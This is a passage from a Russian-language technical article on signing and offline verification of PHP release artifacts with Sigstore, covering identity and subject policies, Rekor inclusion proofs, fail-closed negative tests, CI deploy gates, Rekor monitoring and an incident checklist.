issuer: https://token.actions.githubusercontent.com

Фабрика githubActions() собирает проверку этого SAN. Деталь, на которой легко обжечься: ref в SAN — это триггер workflow. Подпись с ветки даёт @refs/heads/main, релизная по тегу — @refs/tags/1.1.1. Для релизов закладывайтесь на теги (ref: 'refs/tags/' . $version) — это заодно прибивает ту самую rollback-атаку из таблицы угроз: артефакт обязан быть собран из ожидаемого тега. Есть и gitlabCi(), и общий sanRegex().

Это ядро всей модели: «артефакт подписан» само по себе не значит ничего — подписать умеет и злоумышленник. Значит только «подписан тем, кому я доверяю собирать».

SubjectPolicyчто подписано. Требует, чтобы sha256 файла на диске присутствовал в subject аттестации. Без неё можно подсунуть валидную аттестацию другого артефакта того же автора.

Две политики проверки: IdentityPolicy отвечает на «кто подписал» (разбор SAN), SubjectPolicy — на «что подписано» (sha256 файла==subject в аттестации).

Две политики проверки: IdentityPolicy отвечает на «кто подписал» (разбор SAN), SubjectPolicy — на «что подписано» (sha256 файла == subject в аттестации).

А под капотом verify() за один вызов проверяет всю цепочку, и отказ любого звена — исключение:

  • сертификат выпущен CA из trusted root и был валиден на момент подписи;

  • SCT (Certificate Transparency) сертификата подписан известным CT-логом;

  • DSSE-подпись сходится с публичным ключом сертификата;

  • запись Rekor соответствует конверту, inclusion proof сходится к checkpoint, checkpoint подписан ключом журнала из trusted root, signed entry timestamp валиден;

  • время из журнала попадает в срок жизни сертификата;

  • identity и subject policy выполнены.

Цепочка verify(): шесть звеньев, и отказ любого — исключение (fail-closed), а не тихий «verified».

Цепочка verify(): шесть звеньев, и отказ любого — исключение (fail-closed), а не тихий «verified».

Стоит задержаться на строчке про Rekor — за ней прячется самое неинтуитивное. Rekor устроен как Merkle-дерево (тот же принцип, что Certificate Transparency для TLS, RFC 6962): каждая подпись — лист, у дерева есть корневой хеш. Bundle несёт в себе inclusion proof — цепочку соседних хешей от вашего листа до корня. Верификатор пересчитывает корень из вашей записи и этого пути; результат обязан совпасть с checkpoint — подписанным «снимком» дерева (его размер + корневой хеш), а подпись checkpoint’а проверяется ключом Rekor из trusted root. Плюс SET (signed entry timestamp) фиксирует момент попадания записи в журнал — и этот момент обязан укладываться в ~10-минутное окно жизни эфемерного сертификата.

Два следствия. Во-первых, всё это лежит в bundle целиком — проверка inclusion proof не требует похода в Rekor, поэтому и возможен полный оффлайн. Во-вторых, запись математически нельзя «вынуть» задним числом, не сломав корень: отсюда и «неизменяемый журнал» из первой половины — подпись от имени вашего workflow физически не спрятать.

Заодно про то, что подписано в DSSE: подписывается не голый payload, а его PAE (pre-authentication encoding) — строка вида DSSEv1 SP len(type) SP type SP len(body) SP body. Явные длины и тип в подписи убирают целый класс атак на неоднозначность границ полей.

И ещё одно опасение снимем сразу: «самописная криптография на PHP?» — нет. Примитивы не свои: ECDSA/RSA — ext-openssl и phpseclib, Ed25519 — ext-sodium. Своя только протокольная логика (разбор бандла, цепочка проверок) — ровно то, что покрыто conformance.

Fail-closed: проверяем, что проверка проверяет

Верификатор, который зелёный всегда, хуже его отсутствия — он создаёт ложную уверенность. Поэтому к demo приложен negative.php: две атаки против настоящего бандла. Портим артефакт на байт и подставляем чужой репозиторий в identity:

$ php negative.php
OK: tampered artifact rejected — Attestation subject does not include the
    expected sha256 digest "c78b374858d64db6c229d302f86f0052afad45b905a4a79ba91657404f5eb057".
OK: wrong identity rejected — Certificate identity does not include the expected
    SAN "https://github.com/evil/dsse/.github/workflows/attest.yml@refs/tags/1.1.1".
fail-closed works

Та же философия — на неподдержанное: экзотический алгоритм или незнакомый формат бандла даёт UnsupportedBundleException, а не тихий «verified».

Встраиваем в CI/CD: гейт, мониторинг, реагирование

Подпись и проверка — половина дела. Вторая — встроить их в процессы.

Гейт в деплое. Самый честный сценарий ценности (помните честную рамку выше — для библиотек через composer install подпись канал не закрывает): вы деплоите файловый артефакт — PHAR, tarball релиза, образ — и хотите проверить его перед выкаткой. Шаг в пайплайне потребителя:

      - name: Verify release before deploy
        env:
          GH_TOKEN: ${{ github.token }}
        run: |
          gh release download "$VERSION" --repo acme/app --pattern '*.tar.gz' --pattern '*.sigstore.jsonl'
          vendor/bin/sigstore-verify "app-${VERSION}.tar.gz" "app-${VERSION}.tar.gz.sigstore.jsonl" 
            --repository acme/app --workflow attest.yml --ref "refs/tags/${VERSION}" 
            --trusted-root trusted_root.json

Семантика отказа важна: при SigstoreException гейт останавливает деплой и поднимает алерт, а не пишет warning в лог. Не верифицируется — не выкатываем.

Мониторинг журнала. Прозрачность Rekor — это бесплатная сигнализация (мы разобрали её устройство выше). Если от имени вашего workflow в журнале появилась подпись, которой вы не делали, это видно. Следить за этим можно готовым rekor-monitor — у меня это weekly-workflow, который ищет в журнале сертификаты, выписанные на любую мою attest.yml identity, и заводит issue на расхождении:

name: Attestation watch
on:
  schedule:
    - cron: '23 6 * * 1' # weekly
  workflow_dispatch:
permissions: read-all
jobs:
  rekor-identity-monitor:
    permissions:
      contents: read
      issues: write
      id-token: write
    uses: sigstore/rekor-monitor/.github/workflows/reusable_monitoring.yml@<pin-sha> # main
    with:
      file_issue: true
      artifact_retention_days: 14
      config: |
        monitoredValues:
          certIdentities:
            - certSubject: https://github.com/acme/[^/]+/.github/workflows/attest.yml@.+
              issuers:
                - https://token.actions.githubusercontent.com

План на инцидент. Если подпись, которой вы не делали, всё-таки появилась (угнали аккаунт, утёк токен): отозвать креды и PAT, ротировать всё; снять вредоносную версию с Packagist и удалить тег/релиз; выпустить advisory (GitHub Security Advisory) и фикс-релиз; провести пост-мортем — и вот тут провенанс окупается: gitCommit из аттестаций даёт криптографически доказанный ответ, какой именно коммит и какая джоба породили каждый артефакт.

Чек-лист и когда вам это (не) нужно

Минимум, который превращает «у нас есть подпись» в «у нас защищённый релиз»:

  1. main под branch protection: PR + ревью, без force-push (соло-мейнтейнеру — как минимум PR + запрет force-push, гейтом служит CI; обязательное ревью — там, где есть второй мейнтейнер);

  2. 2FA у всех с правами на репозиторий и Packagist;

  3. tag protection / ruleset: создавать релизные теги может только мейнтейнер (триггер подписи = право чеканить релизы);

  4. сторонние экшены запинены по SHA;

  5. permissions минимальны, право подписи/записи — точечно по джобам;

  6. вечные секреты заменены на OIDC;

  7. attest.yml на релизных тегах, подписанные байты — в Release;

  8. у потребителя — гейт верификации перед деплоем;

  9. мониторинг Rekor включён.

И честная таблица — кому это сколько даёт сегодня:

Ваш случай

Нужно ли

Мейнтейнер публичной библиотеки

Подписывайте. Минимальная подпись — ~38 строк, бесплатно. Канал composer install это пока не закрывает, но провенанс — проверяемое доказательство происхождения релиза

Деплой PHAR/tarball/образов файлами

Обязательно верифицируйте — здесь подпись закрывает доставку целиком

Зависимости только через composer install из Packagist

Ценность пока ограничена (см. рамку про zipball); подписывайте свои релизы на будущее

Внутренний код без внешних артефактов

Сегодня вам это не нужно — честно

Стек

Все пакеты — PHP ≥ 8.1, PHPStan level 9, MIT, без обязательных расширений (openssl/sodium подхватываются, если есть):

Пакет

Что делает

k2gl/sigstore-verify

оффлайн-верификатор Sigstore-бандлов + CLI: DSSE и message-подписи, Rekor v1/v2, RFC 3161, SCT, ключевые и keyless бандлы

k2gl/slsa-provenance

модели SLSA Provenance v1 и v0.2

k2gl/in-toto-attestation

in-toto Statement v1 и v0.1

k2gl/dsse

DSSE-конверт: PAE, sign/verify (ECDSA P-256, Ed25519, raw и DER)

k2gl/tuf

минимальный fail-closed TUF-клиент (spec 1.0) для корня доверия

Всё из статьи — clone-and-run в companion-репозитории k2gl/sigstore-php-demo: composer install и сразу проверяете настоящий подписанный релиз, в том числе полностью оффлайн.

Куда дальше

  1. Добавьте attest.yml (выше) в свой репозиторий и пройдите чек-лист.

  2. Пушните релизный тег — подпись и Release с артефактами появятся сами.

  3. Проверьте результат: gh attestation verify, CLI или код из статьи.

Повторю границу применимости, потому что это важнее любого энтузиазма: composer require тянет zipball, который GitHub генерирует из тега на лету, — подписать «то, что скачает composer», нечего. Подпись артефакта работает там, где артефакт — фиксированный файл (PHAR, релизы, образы, внутренние реестры), и как доказательство происхождения. Если Composer-экосистема дозреет до нативных аттестаций (как сделали npm и PyPI) — проверочная сторона на PHP уже готова.

Issues и фичреквесты — в k2gl/sigstore-verify. Особенно ценны реальные бандлы, которые верификатор отверг: fail-closed — это контракт, и каждый такой случай либо дыра в спецификации, либо мой будущий релиз. Несите. Замечания и несогласие в комментариях приветствуются — особенно по модели угроз.

Автор: k2gl

Источник